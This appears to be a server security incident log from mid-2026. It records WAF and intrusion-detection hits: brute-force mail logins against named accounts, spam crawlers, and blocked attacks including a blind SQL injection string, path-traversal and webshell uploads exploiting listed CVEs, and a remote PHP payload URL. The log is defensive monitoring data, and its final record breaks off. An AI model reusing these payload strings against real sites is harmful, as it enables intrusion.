# incident

plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 31.223.75.172
country_id: 298795
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://www.symbaloo.com/mix/yohoho-unblocked-76\">unblocked games 76</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 196.196.164.3
country_id: 3175395
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"http://binom-press.ru/bitrix/redirect.php?goto=http://bassetti.blog.fc2.com/blog-entry-33.html\">mostbet-casinos.com.pl/free-spins</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.0.127.4
country_id: 1835841
description:
2026-07-19 18:25:31 dovecot_login authenticator failed for H=([119.146.91.181]) [59.0.127.4]:37922: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.42.47.150
country_id: 1835841
description:
2026-07-19 18:25:43 dovecot_login authenticator failed for H=([101.13.5.50]) [14.42.47.150]:3174: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 206.62.136.109
country_id: 3686110
description:
2026-07-19 18:26:43 dovecot_login authenticator failed for H=([49.124.153.32]) [206.62.136.109]:45668: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 140.130.98.240
country_id: 1668284
description:
2026-07-19 18:27:00 dovecot_login authenticator failed for H=([58.215.243.6]) [140.130.98.240]:50617: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.197.165.96
country_id: 3144096
description:
2026-07-19 18:39:41 dovecot_login authenticator failed for H=([107.181.168.150]) [217.197.165.96]:50526: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.223.190.179
country_id: 660013
description:
2026-07-19 18:39:49 dovecot_login authenticator failed for H=dsl-hkibng42-50dfbe-179.dhcp.inet.fi ([213.39.31.14]) [80.223.190.179]:33090: 535 Incorrect authentication data (set_id=dins.info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 67.171.29.65
country_id: 6252001
description:
2026-07-19 18:40:31 dovecot_plain authenticator failed for H=c-67-171-29-65.hsd1.wa.comcast.net (caphanip) [67.171.29.65]:34682: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 67.43.243.158
country_id: 6252001
description:
2026-07-19 18:47:45 dovecot_login authenticator failed for H=67-43-243-158.fidnet.com ([49.124.154.175]) [67.43.243.158]:60790: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.116.114
country_id: 1269750
description:
2026-07-19 18:47:57 dovecot_login authenticator failed for H=([117.79.226.9]) [128.185.116.114]:40974: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.181.138
country_id: 1269750
description:
2026-07-19 18:54:40 dovecot_login authenticator failed for H=([103.220.16.51]) [182.95.181.138]:50972: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.169.236.186
country_id: 1835841
description:
2026-07-19 18:54:46 dovecot_login authenticator failed for H=(162.144-60-66-biz.sta.surewest.net) [121.169.236.186]:45662: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 93.95.241.150
country_id: 1522867
description:
2026-07-19 18:54:51 dovecot_login authenticator failed for H=([82.162.56.186]) [93.95.241.150]:59145: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 205.209.65.70
country_id: 163843
description:
2026-07-19 18:55:06 dovecot_login authenticator failed for H=([184.170.249.69]) [205.209.65.70]:39786: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 94.204.94.96
country_id: 290557
domain: elegantautomotives.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:70009.elegantautomotives.com||ServerName:elegantautomotives.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:a5aa7733711ba56c71683c5c6f401d75d179396e||Title:0xe63434b3||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.208.46.133
country_id: 1522867
description:
2026-07-19 18:58:10 dovecot_login authenticator failed for H=([95.220.223.242]) [37.208.46.133]:59377: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.89.128.6
country_id: 192950
description:
2026-07-19 18:58:27 dovecot_login authenticator failed for H=([110.227.215.90]) [41.89.128.6]:50196: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.109.13.50
country_id: 1269750
description:
2026-07-19 18:59:46 dovecot_login authenticator failed for H=([111.171.127.190]) [103.109.13.50]:52302: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.102.190
country_id: 1269750
description:
2026-07-19 19:03:04 dovecot_login authenticator failed for H=([1.227.228.131]) [182.95.102.190]:41910: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.208.108.219
country_id: 2661886
description:
2026-07-19 19:03:07 dovecot_login authenticator failed for H=31-208-108-219.cust.bredband2.com ([90.160.135.217]) [31.208.108.219]:53057: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.46.58.104
country_id: 1835841
description:
2026-07-19 19:03:12 dovecot_login authenticator failed for H=(201.221.116.88.cidadei.com.br) [14.46.58.104]:59046: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.60.128.241
country_id: 1269750
description:
2026-07-19 19:03:36 dovecot_login authenticator failed for H=([49.124.147.101]) [182.60.128.241]:41142: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.120.142.233
country_id: 2510769
description:
2026-07-19 19:05:31 dovecot_plain authenticator failed for H=(cutplos) [185.120.142.233]:50064: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 171.234.8.175
country_id: 1562822
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://worldaid.eu.org/discussion/profile.php?id=1440380\">\xe2\x80\x9cVi\xe1\xbb\x87n Eakmat \xc4\x90\xe1\xba\xafk L\xe1\xba\xafk\xe2\x80\x9d</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.138.198.0
country_id: 6252001
domain: ogocindia.com
description:
IM360 WAF: Bad file extension||RSV:8.32||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.backup||User:ogocindia||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.250.160.76
country_id: 1269750
description:
2026-07-19 19:22:10 dovecot_login authenticator failed for H=(76.pool90-160-117.dynamic.orange.es) [103.250.160.76]:51120: 535 Incorrect authentication data (set_id=dins.info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.197.220.5
country_id: 6252001
description:
2026-07-19 19:21:49 dovecot_login authenticator failed for H=([98.170.57.236]) [74.197.220.5]:45462: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 172.81.134.30
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://hvac-furnace-services-shallotte-nc.zzz-1.com/\">web site</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.221.130
country_id: 1269750
description:
2026-07-19 19:29:45 dovecot_login authenticator failed for H=(m121-202-146-144.smartone.com) [122.187.221.130]:37526: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.66.149.141
country_id: 953987
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/?page_id=1383/ HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 167.250.118.12
country_id: 3865483
description:
2026-07-19 19:34:41 dovecot_login authenticator failed for H=([187.9.84.33]) [167.250.118.12]:37449: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.175.41.170
country_id: 6252001
description:
2026-07-19 19:35:09 dovecot_login authenticator failed for H=wsip-98-175-41-170.fv.ks.cox.net (220-245-87-252.static.tpgi.com.au) [98.175.41.170]:37179: 535 Incorrect authentication data (set_id=dins.info)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 213.230.87.114
country_id: 1512440
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/category/products?Itemid=101 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77142097
name: IM360 WAF: Track spam via contactform for WordPress
abuser: 103.131.130.212
country_id: 1819730
domain: ahsmarine.com
description:
IM360 WAF: Track spam via contactform for WordPress||RSV:8.32||T:APACHE||MVN:REQUEST_URI||MV:/wp-json/contact-form-7/v1/contact-forms/213/feedback||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 103.131.130.212
country_id: 1819730
domain: ahsmarine.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142097r77142192||MV:19-43.103.131.130.212||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77141095
name: IM360 WAF: Track spam in PrestaShop
abuser: 103.131.130.212
country_id: 1819730
domain: ahsmarine.com
description:
IM360 WAF: Track spam in PrestaShop||RSV:8.32||T:APACHE||MVN:REQUEST_FILENAME||MV:/wp-json/contact-form-7/v1/contact-forms/213/feedback||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.235.27.2
country_id: 3017382
description:
2026-07-19 19:44:41 dovecot_login authenticator failed for H=([49.124.153.33]) [213.235.27.2]:52499: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.139.87.30
country_id: 1835841
description:
2026-07-19 19:44:54 dovecot_login authenticator failed for H=([1.247.245.61]) [125.139.87.30]:45934: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.48.176.134
country_id: 3686110
description:
2026-07-19 19:46:21 dovecot_login authenticator failed for H=([110.45.150.219]) [181.48.176.134]:41368: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 174.164.111.251
country_id: 6252001
description:
2026-07-19 19:46:47 dovecot_login authenticator failed for H=c-174-164-111-251.hsd1.wa.comcast.net ([101.13.4.119]) [174.164.111.251]:43300: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 5.182.97.233
country_id: 690791
domain: futuracare.com.au
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:44376.futuracare.com.au||ServerName:futuracare.com.au||Method:metaWeblog.newPost||BlogID:1||TitleSHA:bbf4754aece1b97b27d1a2dd9e14ff38d51e4057||Title:0x1a7b886a||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77789665
abuser: 152.42.242.202
country_id: 1880251
domain: futuracare.com.au
description:
IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:data[layoutName]||MV:../../../../tmp_1784471216_983843.php||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 152.42.242.202
country_id: 1880251
domain: futuracare.com.au
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:shxt_1784471218_bmnkz.php||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 155.4.31.215
country_id: 2661886
description:
2026-07-19 20:01:00 dovecot_login authenticator failed for H=h-155-4-31-215.a2204.priv.bahnhof.se (76.pool90-160-117.dynamic.orange.es) [155.4.31.215]:35072: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.213.137.209
country_id: 1835841
description:
2026-07-19 20:01:16 dovecot_login authenticator failed for H=([189.108.129.173]) [175.213.137.209]:39756: 535 Incorrect authentication data (set_id=dins.info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.30.210.69
country_id: 290557
description:
2026-07-19 20:01:55 dovecot_plain authenticator failed for H=(crondenes) [5.30.210.69]:45327: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.65.154
country_id: 1269750
description:
2026-07-19 20:02:06 dovecot_login authenticator failed for H=([96.1.40.151]) [182.78.65.154]:35416: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.28.243
country_id: 1668284
description:
2026-07-19 20:02:23 dovecot_login authenticator failed for H=111-70-28-243.emome-ip.hinet.net ([103.168.241.32]) [111.70.28.243]:59819: 535 Incorrect authentication data (set_id=dins.info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 163.61.33.117
country_id: 1269750
description:
2026-07-19 20:10:37 dovecot_login authenticator failed for H=(adsl.168-121-119-97.coopmorteros.com.ar) [163.61.33.117]:49400: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.12.214.177
country_id: 6252001
domain: ibmctradeflow.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/wp-content/uploads/index.php||SC:/home/ibmctradeflow/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.145.107.251
country_id: 6252001
description:
2026-07-19 20:29:19 dovecot_plain authenticator failed for H=c-73-145-107-251.hsd1.mi.comcast.net (dests) [73.145.107.251]:38214: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.187.213.29
country_id: 6252001
description:
2026-07-19 20:38:44 dovecot_login authenticator failed for H=(OCI-160.154.84.190.aviso.ci) [24.187.213.29]:48584: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.223.190.179
country_id: 660013
description:
2026-07-19 20:38:50 dovecot_login authenticator failed for H=dsl-hkibng42-50dfbe-179.dhcp.inet.fi ([24.249.199.19]) [80.223.190.179]:50748: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.234.73
country_id: 1269750
description:
2026-07-19 20:46:00 dovecot_login authenticator failed for H=([187.93.51.46]) [122.187.234.73]:51550: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.137.45.53
country_id: 6251999
description:
2026-07-19 20:46:24 dovecot_login authenticator failed for H=dhcp-4-bc-9f-5c-c7-31.cpe.i-zoom.net (194-223-27-202.tpgi.com.au) [24.137.45.53]:55639: 535 Incorrect authentication data (set_id=mail)


plugin: modsec
rule: 77214451
name: IM360 WAF: Time-based blind SQL injection in body/cookie
abuser: 182.8.99.191
country_id: 1643084
domain: globalgroupoman.com
description:
IM360 WAF: Time-based blind SQL injection in body/cookie||MVN:ARGS:requests.requests.body.requests.requests.path||MV:/wp/v2/users?author_exclude=0) OR (SELECT 1 FROM (SELECT SLEEP(0))x)-- -||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.241.64.237
country_id: 1835841
description:
2026-07-19 20:52:53 dovecot_login authenticator failed for H=([142.54.231.33]) [1.241.64.237]:46100: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.147.248.23
country_id: 1269750
description:
2026-07-19 20:53:09 dovecot_login authenticator failed for H=([192.252.208.66]) [103.147.248.23]:39370: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.176.254.53
country_id: 6252001
description:
2026-07-19 20:55:39 dovecot_login authenticator failed for H=(h-155-4-209-51.A463.priv.bahnhof.se) [24.176.254.53]:60206: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.35.213.41
country_id: 1835841
description:
2026-07-19 20:56:20 dovecot_login authenticator failed for H=([202.111.183.254]) [118.35.213.41]:4414: 535 Incorrect authentication data (set_id=dins.info)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.175.243.198
country_id: 1210997
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/latest-news/malik-malayalam-movie-experience-metro-digital-media HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 151.2.204.84
country_id: 2635167
description:
2026-07-19 20:56:44 dovecot_login authenticator failed for H=(ool-4576e80d.dyn.optonline.net) [151.2.204.84]:50181: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 166.78.156.46
country_id: 6252001
description:
2026-07-19 20:56:55 dovecot_login authenticator failed for H=(49.206.194.29.actcorp.in) [166.78.156.46]:36120: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.211.165.46
country_id: 2077456
description:
2026-07-19 21:00:58 dovecot_login authenticator failed for H=(111-70-11-78.emome-ip.hinet.net) [118.211.165.46]:44723: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.63.126
country_id: 1269750
description:
2026-07-19 21:01:16 dovecot_login authenticator failed for H=([190.197.31.229]) [182.95.63.126]:56444: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77469916
abuser: 159.223.34.35
country_id: 1880251
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:cve-2026-48907-99388.xml.php||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 172.81.134.30
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://hvac-chicago-il.zzz-1.com/\">web page</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.79.200.239
country_id: 1562822
description:
2026-07-19 21:10:43 dovecot_login authenticator failed for H=(nsg-static-057.88.71.182.airtel.in) [27.79.200.239]:42019: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.133.229.251
country_id: 1522867
description:
2026-07-19 21:10:49 dovecot_login authenticator failed for H=2.133.229.251.dynamic.telecom.kz ([180.100.212.177]) [2.133.229.251]:51810: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.119.70.200
country_id: 1282988
description:
2026-07-19 21:11:05 dovecot_login authenticator failed for H=([106.0.166.123]) [157.119.70.200]:53074: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.226.26.5
country_id: 3469034
domain: futuracare.com.au
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/wp-content/uploads/admin.php||SC:/home/futuracarecom/public_html/wp-content||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 104.192.3.227
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://hvacrepairnearme3.info\">web page</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.74.91.50
country_id: 1269750
description:
2026-07-19 21:24:48 dovecot_login authenticator failed for H=([72.195.114.171]) [116.74.91.50]:62296: 535 Incorrect authentication data (set_id=dins.info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.131.63
country_id: 99237
description:
2026-07-19 21:24:33 dovecot_login authenticator failed for H=([5.11.249.16]) [65.20.131.63]:56764: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 216.15.111.163
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/4141260 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.207.225.55
country_id: 6252001
description:
2026-07-19 21:33:37 dovecot_login authenticator failed for H=wsip-64-207-225-55.tu.ok.cox.net ([217.24.185.244]) [64.207.225.55]:35228: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.149.93
country_id: 99237
description:
2026-07-19 21:36:21 dovecot_plain authenticator failed for H=(balic) [65.20.149.93]:38407: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 16.79.112.1
country_id: 1643084
domain: alnayza.com
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:image_url||MV:https://raw.githubusercontent.com/JohnFoee/Miaw/refs/heads/main/apa.php||User:alnay||SC:/home/alnay/public_html/index.php||WPU:||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 72.218.231.44
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/59562130 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.72.9.151
country_id: 1269750
description:
2026-07-19 21:44:01 dovecot_login authenticator failed for H=([31.222.7.68]) [116.72.9.151]:58062: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77469916
abuser: 175.100.79.76
country_id: 1831722
domain: ogocindia.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jceklfdm4g5.php||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.217.64
country_id: 99237
description:
2026-07-19 21:50:46 dovecot_login authenticator failed for H=([118.250.183.25]) [65.20.217.64]:42449: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.122.37.97
country_id: 2635167
description:
2026-07-19 21:51:24 dovecot_login authenticator failed for H=([171.35.134.243]) [188.122.37.97]:41342: 535 Incorrect authentication data (set_id=sunil)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 122.183.40.247
country_id: 1269750
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/c62866964 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.11.205.214
country_id: 1835841
description:
2026-07-19 21:52:05 dovecot_login authenticator failed for H=([119.200.229.33]) [59.11.205.214]:40242: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.118.47.8
country_id: 1835841
description:
2026-07-19 21:52:26 dovecot_login authenticator failed for H=([202.72.193.34]) [111.118.47.8]:52852: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.251.149.81
country_id: 6252001
description:
2026-07-19 21:52:53 dovecot_login authenticator failed for H=64-251-149-81.fidnet.com ([49.124.149.49]) [64.251.149.81]:45314: 535 Incorrect authentication data (set_id=dins.info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.11.0.20
country_id: 1835841
description:
2026-07-19 21:52:44 dovecot_login authenticator failed for H=([98.170.57.236]) [59.11.0.20]:43001: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 75.80.69.106
country_id: 6252001
description:
2026-07-19 21:54:41 dovecot_login authenticator failed for H=syn-075-080-069-106.biz.spectrum.com ([196.203.231.220]) [75.80.69.106]:39727: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.101.182
country_id: 1269750
description:
2026-07-19 21:54:57 dovecot_login authenticator failed for H=([196.190.43.138]) [182.95.101.182]:47636: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 96.255.136.121
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/c71521852 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77140742
name: IM360 WAF: Block abusive scripts
abuser: 51.195.39.149
country_id: 3017382
domain: elegantautomotives.com
description:
IM360 WAF: Block abusive scripts||MVN:REQUEST_URI||RSV:8.32||T:APACHE||MV:/assets/images/accesson.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.200.217.128
country_id: 1835841
description:
2026-07-19 21:58:17 dovecot_login authenticator failed for H=([128.185.247.14]) [175.200.217.128]:54428: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.34.229.12
country_id: 1668284
description:
2026-07-19 21:58:28 dovecot_login authenticator failed for H=1-34-229-12.hinet-ip.hinet.net ([45.155.146.33]) [1.34.229.12]:37140: 535 Incorrect authentication data (set_id=dins.info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.29.132
country_id: 1668284
description:
2026-07-19 22:03:02 dovecot_login authenticator failed for H=111-70-29-132.emome-ip.hinet.net ([24.207.66.154]) [111.70.29.132]:48325: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.211.96
country_id: 99237
description:
2026-07-19 22:03:16 dovecot_login authenticator failed for H=(111-70-14-135.emome-ip.hinet.net) [65.20.211.96]:51970: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 74.56.202.228
country_id: 6251999
domain: ahsmarine.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:59699.ahsmarine.com||ServerName:ahsmarine.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:d3014dafa9e7fdda18bfd55c30481c3afd1f2038||Title:0x51105e35||RSV:8.32||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 93.185.162.121
country_id: 1643084
description:
